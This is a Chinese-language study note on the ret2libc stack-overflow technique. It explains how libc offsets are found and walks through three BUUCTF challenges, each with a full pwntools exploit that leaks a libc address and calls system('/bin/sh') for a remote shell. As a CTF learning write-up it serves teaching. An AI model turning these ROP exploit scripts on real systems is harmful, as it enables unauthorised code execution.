ret2libc学习总结

本文详细记录了ret2libc攻击技术的基础知识、原理和实际操作方法。文章首先阐述了ret2libc通过覆盖返回地址来调用libc库中函数的概念,并介绍了如何查找libc库中函数的地址偏移量。接着,通过多个例题展示了在不同保护机制下利用栈溢出攻击泄露函数地址,并使用泄露的信息构造攻击载荷,最终执行系统命令获取shell的过程。此外,还讨论了32位和64位程序中利用ret2libc的差异,并提供了相应的Python代码示例。

相关知识

什么是ret2libc

ret2libcreturn to libc,即控制程序中函数的返回地址为libc中函数的地址,进而控制程序执行后门函数,拿到shell

​ 这里有一个公式:函数的真实地址 = libc库的基地址 + 函数在libc库的地址偏移

什么是libc

libcc标准库的二进制文件,里面有常用的c语言函数。

如何寻找地址偏移量

法1:

使用命令ldd pwn,查看二进制文件pwn在本地的这个环境上依赖的libc库,/lib/x86_64-linux-gnu/libc.so.6是绝对路径。

image-20240103151448590

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system_offset = libc.sym['system']
bin_sh_offset = next(libc.search(b'/bin/sh'))

法2:

  • 在程序中寻找字符串的地址
ROPgadget --binary pwn3 --string 'sh'

image-20240115152507540

readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
#readelf查找并打印符号表信息
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep '/bin/sh'
#string查找并打印字符串信息

法3:

from LibcSearcher import *

libc = LibcSearcher("write",write_addr) #查找libc版本
system_offset = libc.dump('system') #函数地址偏移量

法4:

通过已知的某个libc函数的地址,在https://libc.blukat.me(`ctrl`+点击 直接跳转)这个网站中查找到对应的libc数据库,可以直接看到地址偏移量。

这里放一个接收函数地址的方式总结:

addr = u32(p.recv(4))
addr = u64(p.recv(8))
addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
# p.recvuntil(b'\n'):从输入流中接收数据,直到遇到换行符为止。
# [:-1]:将接收到的数据的最后一个字节(换行符)去除。
# .ljust(8,b'\0'):将剩下的数据用空字节`\0`填充到8字节的长度。s.ljust(width,fillchar)中width为对前面字符串s的填充宽度,fillchar为填充内容。
# u64():将填充后的8字节数据解析为一个64位的无符号整数。
addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
addr = u64(p.recv(6).ljust(8,b'\x00'))

例题

例题1buu 铁人三项(第五赛区)_2018_rop

查看保护,只开了NX

image-20231222194215373

明显栈溢出,

image-20231222193823696

可以泄漏write函数地址

elf = ELF('./2018_rop')
#ELF是pwntools库中的函数,用于加载和分析ELF文件。

main_addr = elf.sym['main'] #获取main函数地址
write_plt = elf.plt['write'] #获取write函数在plt中的地址
write_got = elf.got['write'] #获取write函数的got地址,指向got表中write的真实地址

payload = b'a'*(0x88+4)
payload += p32(write_plt) #调用write函数
payload += p32(main_addr) #调用完write后的返回地址,要重新在执行一遍主要函数
payload += p32(1) #write函数第一个参数,标准输出
payload += p32(write_got) #第二个参数
payload += p32(4)

p.sendline(payload)
write_addr = u32(p.recv(4)) #从接收到的数据中提取一个4字节(32 位)的值
#print(hex(write_addr))

同理也可以得到read函数的地址,然后我们可以在https://libc.blukat.me这个网站上,通过`write,read`函数的地址确定`libc`版本,可直接找到一些函数地址偏移量。

image-20231221203418960


```python
from pwn import *
from LibcSearcher import *
p = remote("node4.buuoj.cn",28149)
context(arch='i386',os='linux',log_level='debug')
elf = ELF('./2018_rop')
#ELF是pwntools库中的函数,用于加载和分析ELF文件。

main_addr = elf.sym['main'] #获取main函数地址
write_plt = elf.plt['write'] #获取write函数在plt中的地址
write_got = elf.got['write'] #获取write函数的got地址,指向got表中write的真实地址

payload = b'a'*(0x88+4)
payload += p32(write_plt) #调用write函数
payload += p32(main_addr) #调用完write后的返回地址,要重新在执行一遍主要函数
payload += p32(1) #write函数第一个参数,标准输出
payload += p32(write_got) #第二个参数
payload += p32(4)

p.sendline(payload)
write_addr = u32(p.recv(4)) #从接收到的数据中提取一个4字节(32 位)的值
#print(hex(write_addr))

write_offset = 0x0e56f0
system_offset = 0x03cd10
str_bin_sh_offset = 0x17b8cf

base_addr = write_addr-write_offset
system_addr = base_addr+system_offset
str_bin_sh_addr = base_addr+str_bin_sh_offset

payload1 = b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(str_bin_sh_addr)
#p32(0)是调用完system函数后的返回地址,但是因为执行完system后会开启一个子进程阻塞当前的进程,system也就不会返回,所以这里可以放任意地址,但是一定要放地址。

p.sendline(payload1)
p.interactive()

例题2buu jarvisoj_level3

看保护,只开了NX

image-20231222175342689

image-20231222175522487

可以泄漏write函数的地址

elf = ELF('./level3')

main_addr = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = b'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil(b'Input:\n')
p.sendline(payload)
#这里可以合并成 p.sendlineafter(b'Input:\n',payload)
write_addr = u32(p.recv(4))

这里我在网站上没有找到相应的libc版本,不能直接找到函数地址偏移量,但是buu上的题都给了libc版本

image-20231222180314290 image-20231222180348083

知道libc版本后,我们可以通过以下方法找到偏移量

libc = ELF('./libc-2.23.so')
#libc-2.23.so这个ELF文件要在当前目录下存在,直接在buu上下载即可
#这里定义了libc-2.23.so库的一个对象libc

base_addr = write_addr-libc.sym['write']
system_addr = base_addr+libc.sym['system']
#symbol是libc的一个属性,用于存储 libc 中各个符号(函数、变量等)的地址。

str_bin_sh_addr = base_addr+next(libc.search(b'/bin/sh'))
#search()用于在libc中搜索指定字符串的地址。
#next() 是一个内置函数,用于获取一个迭代器的下一个元素。在这里,它用于获取搜索结果中第一个匹配 /bin/sh 的地址。

exp如下

from pwn import *
elf = ELF('./level3')
libc = ELF('./libc-2.23.so')
p = remote("node4.buuoj.cn",26641)
context(arch='i386',os='linux',log_level='debug')

main_addr = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = b'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil(b'Input:\n')
p.sendline(payload)
#这里可以合并成 p.sendlineafter(b'Input:\n',payload)
write_addr = u32(p.recv(4))

base_addr = write_addr-libc.sym['write']
system_addr = base_addr+libc.sym['system']
str_bin_sh_addr = base_addr+next(libc.search(b'/bin/sh'))
#search()用于在libc中搜索指定字符串的地址。
#next() 是一个内置函数,用于获取一个迭代器的下一个元素。在这里,它用于获取搜索结果中第一个匹配 /bin/sh 的地址。

payload1 = b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(str_bin_sh_addr)
p.sendline(payload1)
p.interactive()

例题3buu jarvisoj_level3_x64

​ 该题是64位程序,与第二题只有一处不同。32位通过栈传参,64位通过寄存器传参。故在write函数泄漏和调用system函数的时候需要用寄存器传参。储存参数的前三个寄存器分别为rdi,rsi,rdx

image-20231222200640812

image-20231222200701146

​ 我只找到了前两个寄存器对应的gadget地址,但是这里我们可以利用rdx中的残留值,我们可以看到read调用前,rdx依然保留上一个write函数的参数0x200

image-20240308135618147

exp如下

from pwn import *
elf = ELF('./level3_x64')
libc = ELF('./libc-2.23.so')
p = remote("node4.buuoj.cn",26311)
#context(arch='i386',os='linux',log_level='debug')

main_addr = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
rdi_addr = 0x4006b3
rsi_addr = 0x4006b1

payload = b'a'*(0x80+8)
payload += p64(rdi_addr)+p64(1)
payload += p64(rsi_addr)+p64(write_got)+p64(0)
#因为这里的rsi_addr的地址是pop rsi ; pop r15 ; ret,所以需要有一个p64(0)被放入r15寄存器中
payload += p64(write_plt)+p64(mian_addr)

p.recvuntil(b'Input:\n')
p.sendline(payload)

write_addr = u64(p.recv(8))

base_addr = write_addr-libc.sym['write']
system_addr = base_addr+libc.sym['system']
str_bin_sh_addr = base_addr+next(libc.search(b'/bin/sh'))

payload1 = b'a'*(0x80+8)+p64(rdi_addr)+p64(str_bin_sh_addr)+p64(system_addr)+p64(0)
p.sendline(payload1)
p.interactive()